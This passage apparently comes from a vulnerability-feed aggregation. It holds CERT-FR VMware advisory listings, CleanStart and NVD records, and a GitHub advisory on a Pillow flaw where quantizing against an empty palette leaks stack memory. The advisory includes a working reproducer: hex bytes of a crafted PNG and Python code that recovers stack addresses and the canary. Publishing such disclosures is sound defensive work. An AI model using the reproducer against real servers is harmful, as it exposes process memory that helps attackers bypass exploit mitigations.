"title": "Bulletin de s\u00e9curit\u00e9 VMware 39542",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39542"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39517",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39517"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware DSA-2026-24",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39547"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39528",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39528"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39514",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39514"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39523",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39523"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39516",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39516"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39551",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39551"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39525",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39525"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39543",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39543"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39541",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39541"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39540",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39540"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware DSA-2026-24",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39524"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39527",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39527"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39519",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39519"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39546",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39546"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39521",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39521"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39538",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39538"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39529",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39529"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39535",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39535"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39515",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39515"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39531",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39531"
},
{
"published_at": "2026-11-06",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39532",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39532"
}
]
}
CERTFR-2026-AVI-1527
Vulnerability from certfr_avis - Published: 2026-11-13 - Updated: 2026-11-13
De multiples vulnérabilités ont été découvertes dans VMware Tanzu Greenplum. Elles permettent à un attaquant de provoquer un problème de sécurité non spécifié par l'éditeur.
Solutions
Se référer au bulletin de sécurité de l'éditeur pour l'obtention des correctifs (cf. section Documentation).
| Vendor | Product | Description | ||
|---|---|---|---|---|
| VMware | Tanzu Greenplum | VMWare Tanzu Greenplum versions 7.9.x antérieures à 7.9.1 | ||
| VMware | Tanzu Greenplum | VMWare Tanzu Greenplum versions antérieures à 6.34.1 |
| Title | Publication Time | Tags | ||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
{
"$ref": "https://www.cert.ssi.gouv.fr/openapi.json",
"affected_systems": [
{
"description": "VMWare Tanzu Greenplum versions 7.9.x ant\u00e9rieures \u00e0 7.9.1",
"product": {
"name": "Tanzu Greenplum",
"vendor": {
"name": "VMware",
"scada": false
}
}
},
{
"description": "VMWare Tanzu Greenplum versions ant\u00e9rieures \u00e0 6.34.1",
"product": {
"name": "Tanzu Greenplum",
"vendor": {
"name": "VMware",
"scada": false
}
}
}
],
"affected_systems_content": "",
"content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
"cves": [
{
"name": "CVE-2026-94265",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-94265"
},
{
"name": "CVE-2026-42309",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42309"
},
{
"name": "CVE-2026-96636",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96636"
},
{
"name": "CVE-2026-112392",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112392"
},
{
"name": "CVE-2026-87863",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-87863"
},
{
"name": "CVE-2026-107928",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-107928"
},
{
"name": "CVE-2026-86414",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86414"
},
{
"name": "CVE-2026-96778",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96778"
},
{
"name": "CVE-2026-112398",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112398"
},
{
"name": "CVE-2026-96644",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96644"
},
{
"name": "CVE-2026-96637",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96637"
},
{
"name": "CVE-2026-112896",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112896"
},
{
"name": "CVE-2026-112900",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112900"
},
{
"name": "CVE-2026-112902",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112902"
},
{
"name": "CVE-2026-112397",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112397"
},
{
"name": "CVE-2026-112394",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112394"
},
{
"name": "CVE-2026-112400",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112400"
},
{
"name": "CVE-2026-96639",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96639"
},
{
"name": "CVE-2026-112395",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112395"
},
{
"name": "CVE-2026-92392",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-92392"
},
{
"name": "CVE-2026-86413",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86413"
},
{
"name": "CVE-2026-112390",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112390"
},
{
"name": "CVE-2026-96640",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96640"
},
{
"name": "CVE-2026-107929",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-107929"
},
{
"name": "CVE-2026-92389",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-92389"
},
{
"name": "CVE-2026-87861",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-87861"
},
{
"name": "CVE-2026-92386",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-92386"
},
{
"name": "CVE-2026-96638",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96638"
},
{
"name": "CVE-2026-112892",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112892"
},
{
"name": "CVE-2026-92387",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-92387"
},
{
"name": "CVE-2026-112406",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112406"
},
{
"name": "CVE-2026-112898",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112898"
},
{
"name": "CVE-2026-112399",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112399"
},
{
"name": "CVE-2026-114501",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-114501"
},
{
"name": "CVE-2026-92391",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-92391"
},
{
"name": "CVE-2026-96642",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96642"
},
{
"name": "CVE-2026-81726",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-81726"
},
{
"name": "CVE-2026-112404",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112404"
},
{
"name": "CVE-2026-112895",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112895"
},
{
"name": "CVE-2026-123817",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-123817"
},
{
"name": "CVE-2026-112901",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112901"
},
{
"name": "CVE-2026-112893",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112893"
},
{
"name": "CVE-2026-86410",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86410"
},
{
"name": "CVE-2026-86415",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86415"
},
{
"name": "CVE-2026-112393",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112393"
},
{
"name": "CVE-2026-112403",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112403"
},
{
"name": "CVE-2026-112894",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112894"
},
{
"name": "CVE-2026-111063",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-111063"
},
{
"name": "CVE-2026-87865",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-87865"
},
{
"name": "CVE-2026-112897",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112897"
},
{
"name": "CVE-2026-87862",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-87862"
},
{
"name": "CVE-2026-112899",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112899"
},
{
"name": "CVE-2026-96643",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96643"
},
{
"name": "CVE-2026-112396",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112396"
},
{
"name": "CVE-2026-112402",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112402"
},
{
"name": "CVE-2026-94266",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-94266"
},
{
"name": "CVE-2026-92388",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-92388"
},
{
"name": "CVE-2026-86412",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86412"
},
{
"name": "CVE-2026-111064",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-111064"
},
{
"name": "CVE-2026-112401",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112401"
},
{
"name": "CVE-2026-112391",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112391"
},
{
"name": "CVE-2026-96641",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96641"
},
{
"name": "CVE-2026-87866",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-87866"
},
{
"name": "CVE-2026-112405",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112405"
},
{
"name": "CVE-2026-92390",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-92390"
},
{
"name": "CVE-2026-112891",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112891"
}
],
"initial_release_date": "2026-11-13T00:00:00",
"last_revision_date": "2026-11-13T00:00:00",
"links": [],
"reference": "CERTFR-2026-AVI-1527",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2026-11-13T00:00:00.000000"
}
],
"risks": [
{
"description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans VMware Tanzu Greenplum. Elles permettent \u00e0 un attaquant de provoquer un probl\u00e8me de s\u00e9curit\u00e9 non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur.",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans VMware Tanzu Greenplum",
"vendor_advisories": [
{
"published_at": "2026-11-12",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39592",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39592"
},
{
"published_at": "2026-11-12",
"title": "Bulletin de s\u00e9curit\u00e9 VMware 39593",
"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/39593"
}
]
}
CLEANSTART-2026-JU41384 (CVE-2026-112898)
Vulnerability from cleanstart – Published: 2026-11-03 00:40 – Updated: 2026-11-02 06:42 – Source websiteSecurity vulnerability affects the apache-superset package. Pillow is a Python imaging library.
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "apache-superset",
"purl": "pkg:apk/cleanstart/apache-superset"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2021.40.1-r0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "CleanStart",
"name": "apache-superset",
"purl": "pkg:apk/cleanstart/apache-superset"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2021.41.0-r0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Security vulnerability affects the apache-superset package. Pillow is a Python imaging library.",
"id": "CLEANSTART-2026-JU41384",
"modified": "2026-11-02T06:42:28Z",
"published": "2026-11-03T00:40:42.087798Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-JU41384.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-112898"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112898"
}
],
"related": [],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Pillow is a Python imaging library",
"upstream": [
"CVE-2026-112898"
]
}
CLEANSTART-2026-PH49096 (CVE-2026-112898)
Vulnerability from cleanstart – Published: 2026-10-31 00:43 – Updated: 2026-10-30 09:04 – Source websiteSecurity vulnerability affects the apache-superset package. Pillow is a Python imaging library.
{
"affected": [
{
"package": {
"ecosystem": "CleanStart",
"name": "apache-superset",
"purl": "pkg:apk/cleanstart/apache-superset"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.1.0-r7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"credits": [],
"database_specific": {},
"details": "Security vulnerability affects the apache-superset package. Pillow is a Python imaging library.",
"id": "CLEANSTART-2026-PH49096",
"modified": "2026-10-30T09:04:55Z",
"published": "2026-10-31T00:43:51.740578Z",
"references": [
{
"type": "ADVISORY",
"url": "https://github.com/cleanstart-dev/cleanstart-security-advisories/tree/main/advisories/2026/CLEANSTART-2026-PH49096.json"
},
{
"type": "WEB",
"url": "https://osv.dev/vulnerability/CVE-2026-112898"
},
{
"type": "WEB",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112898"
}
],
"related": [],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Pillow is a Python imaging library",
"upstream": [
"CVE-2026-112898"
]
}
EUVD-2026-394225
European Vulnerability Database identifier assigned by ENISA{
"assigner": "ENISA",
"date_reserved": "2026-10-31T00:22:56.159802+00:00",
"id": "EUVD-2026-394225"
}
FKIE_CVE-2026-112898
Vulnerability from fkie_nvd - Published: 2026-10-19 22:17 - Updated: 2026-10-28 16:17| URL | Tags | ||
|---|---|---|---|
| security-advisories@github.com | https://github.com/python-pillow/Pillow/commit/13943c8f857b22f073d30f0ef9b725a0d255f1a4 | Patch | |
| security-advisories@github.com | https://github.com/python-pillow/Pillow/releases/tag/13.0.0 | Release Notes | |
| security-advisories@github.com | https://github.com/python-pillow/Pillow/security/advisories/GHSA-rfgq-q3w2-pmv2 | Exploit, Mitigation, Vendor Advisory | |
| 134c704f-9b21-4f2e-91b3-4a467353bcc0 | https://github.com/python-pillow/Pillow/security/advisories/GHSA-rfgq-q3w2-pmv2 | Exploit, Mitigation, Vendor Advisory |
{
"affected": [
{
"affectedData": [
{
"product": "Pillow",
"vendor": "python-pillow",
"versions": [
{
"status": "affected",
"version": "\u003e= 9.1.0, \u003c 13.0.0"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:python:pillow:*:*:*:*:*:*:*:*",
"matchCriteriaId": "E4F24CF8-E3D8-4D41-B03F-C6C486516B0E",
"versionEndExcluding": "13.0.0",
"versionStartIncluding": "9.1.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "Pillow is a Python imaging library. From 9.1.0 until 13.0.0, Pillow can disclose uninitialized stack memory when Image.quantize() uses an empty palette. ImagingPaletteCacheUpdate() leaves a local cache array uninitialized when the palette has zero entries, and the conversion path emits those bytes as output pixel indices. An attacker who controls the palette image can obtain stack contents from a returned PNG or GIF. This can disclose addresses and stack-canary data without an out-of-bounds access, memory corruption, or process crash. This issue is fixed in version 13.0.0."
}
],
"id": "CVE-2026-112898",
"lastModified": "2026-10-28T16:17:02.557",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 1.4,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": [
{
"cvssData": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"availabilityRequirement": "NOT_DEFINED",
"baseScore": 6.9,
"baseSeverity": "MEDIUM",
"confidentialityRequirement": "NOT_DEFINED",
"exploitMaturity": "NOT_DEFINED",
"integrityRequirement": "NOT_DEFINED",
"modifiedAttackComplexity": "NOT_DEFINED",
"modifiedAttackRequirements": "NOT_DEFINED",
"modifiedAttackVector": "NOT_DEFINED",
"modifiedPrivilegesRequired": "NOT_DEFINED",
"modifiedSubAvailabilityImpact": "NOT_DEFINED",
"modifiedSubConfidentialityImpact": "NOT_DEFINED",
"modifiedSubIntegrityImpact": "NOT_DEFINED",
"modifiedUserInteraction": "NOT_DEFINED",
"modifiedVulnAvailabilityImpact": "NOT_DEFINED",
"modifiedVulnConfidentialityImpact": "NOT_DEFINED",
"modifiedVulnIntegrityImpact": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "NONE",
"subIntegrityImpact": "NONE",
"userInteraction": "NONE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-112898",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "yes"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-10-28T15:15:33.855924Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-10-19T22:17:10.030",
"references": [
{
"source": "security-advisories@github.com",
"tags": [
"Patch"
],
"url": "https://github.com/python-pillow/Pillow/commit/13943c8f857b22f073d30f0ef9b725a0d255f1a4"
},
{
"source": "security-advisories@github.com",
"tags": [
"Release Notes"
],
"url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0"
},
{
"source": "security-advisories@github.com",
"tags": [
"Exploit",
"Mitigation",
"Vendor Advisory"
],
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-rfgq-q3w2-pmv2"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Mitigation",
"Vendor Advisory"
],
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-rfgq-q3w2-pmv2"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Modified",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-457"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-RFGQ-Q3W2-PMV2
Vulnerability from github – Published: 2026-10-21 20:44 – Updated: 2026-10-21 20:44============================================================================
Image.quantize() with empty palette leaks uninitialized stack memory
Location: src/libImaging/Palette.c:216 in ImagingPaletteCacheUpdate()
Commit: a707c6b21c313880d0771e54965d142dd42358b6
============================================================================
When an application lets a user supply the palette image for Pillow's Image.quantize(palette=...), the user can get back 512 bytes of the server process's stack memory in the pixels of the returned image. An 80-byte PNG with an empty palette is enough, and the leaked bytes survive saving to PNG or GIF. In the runs examined, those bytes included memory addresses inside the stack, heap, libc, libpython and Pillow's own C module, along with the stack-protector canary.
The bug is in ImagingPaletteCacheUpdate() in src/libImaging/Palette.c. It fills a local UINT8 c[512] only inside loops bounded by palette->size. When the palette has zero entries, the array is never written, but it is still copied into the colour cache. topalette() in src/libImaging/Convert.c then emits the cached values as output pixel indices. topalette() rejects a NULL palette but not one with size == 0. Three inputs produce such a zero-entry "P" image: a PNG with a zero-length PLTE chunk opened with Image.open(), a colour-mapped TGA with colour-map length 0, or a bare Image.new("P", ...). The attacker must control the palette image; the source image can be anything, and RGB sources are affected with either dither mode. There is no out-of-bounds access and no memory corruption. The consequence is a bounded stack disclosure that can reveal address layout and the canary of a long-lived worker, with no crash and no log entry. The attached reproducer quantizes a 512-colour strip against the empty-palette PNG and finds 8 of the 64 output words pointing into the process's own [stack] mapping, while a one-entry palette control yields all zeros. The behaviour was introduced in commit 54cb09d8b48c (first released in 9.1.0). The Image.new("P", ...) route exists since 10.1.0.
Details
ImagingPaletteCacheUpdate() (src/libImaging/Palette.c:154) computes, for one 8×8×8 box of the colour cache, the nearest palette index for each of the 512 slots into a local UINT8 c[512] and then copies c[] into the cache. c[] is only ever written inside for (i = 0; i < palette->size; i++). When the palette has zero entries nothing writes it, the untouched stack bytes are copied into the cache, and topalette() (src/libImaging/Convert.c:1145) emits them as the output pixels of Image.quantize(palette=...). The root cause is that topalette() only rejects a NULL palette, never one with palette->size == 0, while ImagingPaletteCacheUpdate() silently assumes size >= 1. A zero-entry "P" image is what Image.open() produces for a PNG whose PLTE chunk has length 0 (or a colour-mapped TGA with colour-map length 0); Image.new("P", size) without a subsequent putpalette() yields one as well. Both dither modes (Dither.NONE and the default Floyd-Steinberg) are affected for RGB sources (an L source takes the grayscale copy path and never consults the cache).
Showing it with the installed build, no special flags. The 80-byte PNG below is 4×4, bit depth 8, colour type 3, with a zero-length PLTE and an all-zero IDAT:
89504e470d0a1a0a 0000000d49484452 0000000400000004 0803000000 9e2f6e4c
00000000 504c5445 4ba88955
0000000b 49444154 789c6360c0040000140001 7dfe1eee
00000000 49454e44 ae426082
pal = Image.open(io.BytesIO(png)); pal.load() # pal.mode == "P", pal.im.getpalette("RGB") == b""
src = Image.new("RGB", (512, 1))
src.putdata([(r*4, g*4, b*4) for r in range(8) for g in range(8) for b in range(8)])
out = src.quantize(palette=pal, dither=Image.Dither.NONE)
out.tobytes() # 512 bytes, different in every process
The 512 source colours are chosen so that each pixel lands in a distinct slot of the cache box for r,g,b ∈ [0,32), in slot order, so out.tobytes() is exactly c[0..511]. Read as 64 little-endian 8-byte words and resolved against the same process's /proc/self/maps, a typical run gives 43 words that are addresses inside the process's own mappings — 8 in [stack], several in [heap], libc.so.6, libpython3.12.so and _imaging.cpython-312-x86_64-linux-gnu.so — and 3 words equal to the thread's stack-protector canary (read from fs:0x28 for comparison). The same PNG with a 3-byte PLTE (one entry) gives 512 zero bytes in every run. out.save(buf, "PNG") succeeds, so the bytes leave the process in an ordinary image. Under valgrind (run against a strip --strip-debug copy of _imaging.so or a gcc build, since valgrind 3.19 cannot read clang's DWARF5) the report carries the origin Uninitialised value was created by a stack allocation at ImagingPaletteCacheUpdate. With Dither.NONE topalette only copies the bytes, so the first use of uninitialised value is flagged where Python first branches on the pixel data; with the default Floyd-Steinberg dither it is flagged inside topalette (inlined into ImagingConvert), where the cached index is used to address palette->palette.
Code path
File → empty C palette. PngImagePlugin.chunk_PLTE (src/PIL/PngImagePlugin.py:499-505) stores the chunk payload whatever its length, _open wraps it as ImagePalette.raw("RGB", b"") (:836-838), and Image.load() realises it with self.im.putpalette("RGB", "RGB", b"") (src/PIL/Image.py:989-990). _putpalette (src/_imaging.c:1850-1868) rejects only more than 256 entries and sets palette->size = palettesize * 8 / bits, i.e. 0. TgaImagePlugin._open (src/PIL/TgaImagePlugin.py:121-135) builds the same empty palette from a colour-mapped TGA whose colour-map-length field is 0.
API → sink. Image.quantize(palette=pal) (src/PIL/Image.py:1329-1338) checks only palette.mode == "P" and calls self.im.convert("P", dither, palette.im) → ImagingConvert → topalette(..., inpalette=<that palette>, dither). topalette tests the palette for NULL (Convert.c:1162, :1178) but not for size == 0, allocates the cache (every slot 0x100 = "not computed"), and for each source pixel:
// src/libImaging/Convert.c:1319-1327 (non-dither path; the dither path at 1252-1265 is the same)
cache = &ImagingPaletteCache(palette, r, g, b);
if (cache[0] == 0x100) {
ImagingPaletteCacheUpdate(palette, r, g, b);
}
…
out[x] = (UINT8)cache[0];
Inside ImagingPaletteCacheUpdate the only store to c[] is in step 2, and both step 1 and step 2 iterate over palette entries:
// src/libImaging/Palette.c:160-161
unsigned int d[BOXVOLUME];
UINT8 c[BOXVOLUME];
…
// src/libImaging/Palette.c:212-221, 240-242
for (i = 0; i < BOXVOLUME; i++) {
d[i] = (unsigned int)~0; /* d[] is initialised, c[] is not */
}
for (i = 0; i < palette->size; i++) { /* size == 0: body never runs */
if (dmin[i] <= dmax) {
…
if ((unsigned int)bd < d[j]) {
d[j] = bd;
c[j] = (UINT8)i;
}
For any non-empty palette every slot is written: the entry that produced dmax passes dmin[i] <= dmax, and because d[j] starts at ~0 the first visiting entry always stores into c[j]. With size == 0 the loop is skipped entirely and step 3 publishes the raw stack array:
// src/libImaging/Palette.c:262-266
j = 0;
for (r = r0; r < r1; r += 4) {
for (g = g0; g < g1; g += 4) {
for (b = b0; b < b1; b += 4) {
ImagingPaletteCache(palette, r, g, b) = c[j++];
